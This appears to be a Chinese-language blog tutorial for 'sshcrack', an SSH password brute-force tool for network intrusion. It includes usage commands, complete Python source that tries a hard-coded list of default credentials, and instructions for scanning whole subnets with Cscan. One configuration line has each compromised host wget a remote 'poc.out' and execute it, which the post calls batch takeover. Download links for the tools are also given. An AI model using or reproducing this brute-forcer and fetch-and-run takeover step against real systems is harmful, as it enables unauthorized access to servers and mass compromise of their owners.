0x000 前言html
sshcrack是一個命令行下的SSH密碼爆破工具,適用於內滲中SSH密碼檢測python
固然也可用於外網SSH密碼爆破,支持Windows/Linux,其它系統未測。Tip1git
0x001 目錄github
1.sshcrack用法shell
2.Cscan批量掃描服務器
3.鏈接SSH執行命令網絡
4.sshcrack源碼ssh
5.SSH批量上控工具
6.工具下載post
0x002 用法
指定SSH服務器密碼檢測
弱口令檢測 (-crack 用戶密碼可隨便寫,由於賬密列表已寫死) C:\Users\K8team\Desktop\upload>sshcrack.exe 192.168.1.106 22 root k8gege -crack 192.168.1.106 22 root toor LoginOK 單密碼驗證 (-test ) C:\Users\K8team\Desktop\upload>sshcrack.exe 192.168.1.106 22 root toor -test 192.168.1.106 22 root toor LoginOK
0x003 批量SSH服務器密碼檢測
0.將Cscan.exe Cscan.ini sshcrack.exe放置同一目錄
Cscan.ini內容以下
1.爆破弱口令(當前無密碼或已獲取多個賬密)
[Cscan] exe=sshcrack.exe arg=$ip$ 22 "" "" -crack
2.驗證一個已知密碼(快速檢測內網其它機器是否使用同一賬密)
[Cscan] exe=sshcrack.exe arg=$ip$ 22 root k8gege -test
3.Cscan掃描單個C段/B段/A段機器
cscan 192.168.1.108 (單個IP) cscan 192.168.1.108/24 (C段) cscan 192.168.1.108/16 (B段) cscan 192.168.1.108/8 (A段)
4.Cscan批量IP/批量C段/批量B段掃描
新建 ip24.txt或ip16.tx或ip.txt 文件,而後輸入Cscan便可(無需其它參數)
如下Cscan.ini不指定端口,因經過K8portscan識別出來非22端口
不指定端口意味着ip.txt裏須要填寫上對應SSH端口
0x004 鏈接SSH執行命令
1.sshshell交互式鏈接
sshshell.exe 192.168.1.106 22 root toor
sshshell.exe 單文件交互式SSH鏈接工具(優勢相似putty可保持會話,缺點也相似putty保持鏈接)
2.sshcmd命令行非交互式
優勢都是執行完命令當即註銷會話(即目標機看不到網絡鏈接),內網滲透專用
3.滲透專版SSH鏈接工具GUI版
優勢都是執行完命令當即註銷會話(即目標機看不到網絡鏈接),滲透專用,內網可代理出來或外網SSH鏈接時用
固然也可用於平常VPS管理用,GUI版帶文件管理,支持上傳下載單個文件或整個目錄
0x005 sshcrack源碼
建議密碼寫死,方便配合Cscan批量掃描,要否則每掃一臺,sshcrack就讀取一下密碼列表,可能會影響批量效率。
如下是例子,你們可自行修改,根據自身項目添加對應密碼字典,腳本還需完善,如跑出root密碼後中止檢測root用戶或者再也不爆破。
#sshcrack 1.0 #author: k8gege #https://www.cnblogs.com/k8gege #https://github.com/k8gege import paramiko import sys import logging ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) logging.raiseExceptions=False def checkSSH(host,port,user,pwd): try: ssh.connect(host,port,user,pwd) print host+' '+port+' '+user+' '+pwd+' LoginOK' except: pass host=sys.argv[1] port=sys.argv[2] user=sys.argv[3] pwd=sys.argv[4] type=sys.argv[5] if type=='-test': checkSSH(host,port,user,pwd) elif type=='-crack': checkSSH(host,port,'root','123456') checkSSH(host,port,'root','cisco') checkSSH(host,port,'root','Cisco') checkSSH(host,port,'admin','123456') checkSSH(host,port,'cisco','123456') checkSSH(host,port,'cisco','cisco') checkSSH(host,port,'Cisco','Cisco') checkSSH(host,port,'cisco','cisco123') checkSSH(host,port,'admin','admin') checkSSH(host,port,'root','Admin') checkSSH(host,port,'root','toor') checkSSH(host,port,'root','Admin123') checkSSH(host,port,'root','system') checkSSH(host,port,'root','system123') checkSSH(host,port,'root','System') checkSSH(host,port,'root','System123') checkSSH(host,port,'root','Admin123!@#') checkSSH(host,port,'root','root123!@#') checkSSH(host,port,'root','root2019') checkSSH(host,port,'root','root2018') checkSSH(host,port,'root','root2017') checkSSH(host,port,'root','root2016') checkSSH(host,port,'root','root2015') checkSSH(host,port,'root','root2014') checkSSH(host,port,'root','root2013') checkSSH(host,port,'root','root2012') else: checkSSH(host,port,user,pwd)
0x006 Linux批量上控
經過調用sshcmd.exe可實現批量驗證SSH密碼或者批量上控
詳見: [教程]K8Cscan調用外部程序例子(Win/Linux批量上控)
ip.txt內容 格式: IP 端口 用戶 賬密
192.168.1.8 22 root k8123456 192.168.1.100 444 root admin123 10.1.11.5 22 root p@walod 172.3.4.6 22 root test
Cscan.ini內容
[Cscan] exe=sshcmd.exe arg=$ip$ "wget http://k8gege.github.io/poc.out&&./poc.out"
0x007 工具下載
https://github.com/k8gege/sshshell
https://github.com/k8gege/K8tools
https://github.com/k8gege/K8CScan
Tip1: Python寫的程序必定跨平臺?
Python雖是跨平臺語言,但不見得Python寫的程序必定支持全部系統
支不支持主要是看寫代碼的人,好比有些依賴包僅Linux下或Win下可用
你直接調用人家的包,未作任何修改,你認爲必定是跨平臺嗎???
就算是隻用原生包寫的功能,也不能保證徹底兼容
有些功能針對於不一樣系統需作不一樣的處理
Tip2: SSH鏈接工具詳細說明